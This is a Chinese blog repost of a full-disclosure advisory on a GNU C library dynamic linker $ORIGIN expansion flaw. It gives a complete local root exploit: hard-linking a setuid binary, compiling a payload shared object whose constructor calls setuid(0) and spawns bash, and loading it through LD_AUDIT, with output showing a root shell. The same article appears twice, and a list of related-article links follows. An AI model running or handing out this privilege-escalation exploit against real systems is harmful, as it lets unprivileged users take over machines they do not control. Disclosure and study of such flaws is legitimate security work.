GNU C library 动态链接区 $ORIGIN 溢出漏洞
2010-12-15 15:03
190 查看
GNU C library dynamic linker $ORIGIN expansion Vulnerability
from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2
动态链接器(或动态加载器)是为连接运行时负责动态链接程序。 ld.so运行在两个安全模式,一个是宽松模式,使超过负荷运行控制程度高,一个是安全模式(libc_enable_secure)旨在防止用户的干扰装载特权可执行文件。
至少有以下版本已经过测试
2.12.1, FC13
2.5, RHEL5 / CentOS5
影响:
可以利用这个漏洞以root权限执行任意代码
代码如下:
$ mkdir /tmp/exploit
链接到一个suid的二进制,从而改变$ORIGIN的定义
$ ln /bin/ping /tmp/exploit/target
打开文件描述符的目标二进制
$ exec 3< /tmp/exploit/target
该描述符号现在应该可以通过/ proc来访问
$ ls -l /proc/$$/fd/3
删除以前创建的目录
$ rm -rf /tmp/exploit/
/ proc的链接应该仍然存在,但现在将被标记为删除
$ ls -l /proc/$$/fd/3
更换一个有效载荷DSO的目录,从而制造 $ORIGIN对于dlopen()的有效目标
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
现在强行把位于/proc的链接通过LD AUDIT来加载$ORIGIN
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
这样就取得了root权限
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
缓解方法:
阻止用户在mounted的文件系统上创建文件
解决方法:
主要发行商应该在短期内发布最新的glibc包
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ydt619/archive/2010/10/20/5954199.aspx
from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2
动态链接器(或动态加载器)是为连接运行时负责动态链接程序。 ld.so运行在两个安全模式,一个是宽松模式,使超过负荷运行控制程度高,一个是安全模式(libc_enable_secure)旨在防止用户的干扰装载特权可执行文件。
至少有以下版本已经过测试
2.12.1, FC13
2.5, RHEL5 / CentOS5
影响:
可以利用这个漏洞以root权限执行任意代码
代码如下:
$ mkdir /tmp/exploit
链接到一个suid的二进制,从而改变$ORIGIN的定义
$ ln /bin/ping /tmp/exploit/target
打开文件描述符的目标二进制
$ exec 3< /tmp/exploit/target
该描述符号现在应该可以通过/ proc来访问
$ ls -l /proc/$$/fd/3
删除以前创建的目录
$ rm -rf /tmp/exploit/
/ proc的链接应该仍然存在,但现在将被标记为删除
$ ls -l /proc/$$/fd/3
更换一个有效载荷DSO的目录,从而制造 $ORIGIN对于dlopen()的有效目标
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
现在强行把位于/proc的链接通过LD AUDIT来加载$ORIGIN
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
这样就取得了root权限
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
缓解方法:
阻止用户在mounted的文件系统上创建文件
解决方法:
主要发行商应该在短期内发布最新的glibc包
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ydt619/archive/2010/10/20/5954199.aspx
相关文章推荐
- Linux下的动态链接库包含漏洞 推荐
- AutoSharedLibrary -- 基于模板元编程技术的跨平台C++动态链接加载库
- AutoSharedLibrary -- 基于模板元编程技术的跨平台C++动态链接载入库
- 孙鑫关于DLL(Dynamic Link Library)动态链接库的视频讲座笔记和学习小结
- 三分钟教你用GNU compiler collection 静态/动态 链接库
- Linux(gnu)环境动态链接库的搜索路径
- Linux(gnu)环境动态链接库的搜索路径
- Microsoft confirms animated-cursor flaw微软正式公布动态链接(animated-cursor)漏洞
- Linux(gnu)环境动态链接库的搜索路径
- 动态调整对话框窗口大小的窗口类的资源链接
- GNU ld链接脚本lds简单教程
- Linux下HOOK动态链接库中API的方法
- lua三底漆:lua转让c/c++库(动态链接模式)
- C# 调用Delphi写的动态链接库
- 动态链接库学习札记
- 动态库链接问题解决
- 动态链接库
- 孙鑫教学视频笔记(19)动态链接库
- 枚举可用串口号的动态链接库文件
- The GNU C Library